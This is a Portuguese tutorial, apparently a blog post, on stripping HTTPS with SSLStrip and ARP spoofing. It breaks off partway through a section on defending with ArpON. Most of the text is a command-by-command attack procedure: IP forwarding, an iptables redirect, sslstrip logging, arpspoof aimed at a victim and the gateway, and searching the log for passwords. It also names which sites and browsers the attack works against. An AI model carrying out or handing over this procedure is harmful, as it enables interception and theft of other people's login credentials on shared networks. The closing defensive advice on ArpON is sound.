Veremos um pouco sobre oSSLStrip, descobriremos que o uso da conexao seguraSSL nao garante a protecao do usuario 100%. Muita gente acha que ao usar HTTPS, esta livre de qualquer ataque de crackers, mas na verdade nao e bem assim, existem metodos que possibilitam o roubo de informacoes mesmo em sites seguros.O SSLStrip nos permite isso, esta tecnica e relativamente facil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que ja vimos como funciona, para aqueles que nao viram, segue o link:Guia do TI: Um Pouco Sobre Sniffer e Arp SpoofQuando um usuario conecta-se em um site seguro, ele transfere as informacoes criptografadas com o servidor impedindo um ataque desniffing tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o trafego do alvo atraves de tecnicasman-in-the-middle, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informacoes sao passadas para o atacante em texto puro.Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2para usar o SSLStrip e um Windows como alvo.* Todas as informacoes aqui contidas sao para fins didaticos e nao para causar danos e prejuizos para alguem, usem este conhecimento com etica e responsabilidade.ProcedimentosPrimeiramente habilitaremos o encaminhamento de pacotes para realizar oARP spoofing:# echo 1 > /proc/sys/net/ipv4/ip_forwardAgora, va ate o diretorio do SSLStrip no BackTrack:# cd /pentest/web/sslstripRedirecione o trafego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080:# iptables -t nat -A PREROUTING -p tcp destination-port 80 -j REDIRECT to-port 8080Agora vamos mandar o SSLStrip escutar o trafego na porta 8080 e mandar ele logar tudo:# python sslstrp.py -a -l 8080Depois disso, em outro terminal, comece o ARP spoofing entre a vitima e o gateway:# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1Em outro terminal:# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55Voce pode acompanhar o trafego dando:# tail -f sslstrip.logPara ver as senhas, procure por login ou passwd dentro do arquivo de log, nao se assuste com a quantidade de informacoes dentro do arquivo, e assim mesmo.Obs.: Se voce estiver tentando capturar senhas do Gmail e a vitima estiver utilizando o Google Chrome nao vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros.Como se protegerO ArpON e uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques comoMan-in-the-middle,DHCP Spoofing,DNS Spoofing,Web Spoofing,Sequestro de sessao SSL, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alteracoes na tabela.Bem, como na maioria das empresas a maioria dos hosts sao Windows, iremos basear o laboratorio no seguinte cenario: FIREWALL / GATEWAY | SWITCH | --------------------------- | | | HOST HOST HOSTNao sei se da para entender (hehehe), mas vamos amos explicar mais um. pouco. E no nosso servidorGNU/Linux que compartilha a Internet para a rede interna que sera instalado oArpON, e nele, iremos colocar todos os IPs e MACs dos nossos clientes.Assim, quando algum usuario malicioso tentar fazer o ARP spoofing, ele nao ira conseguir completar. Do alvo para o gateway, ele vai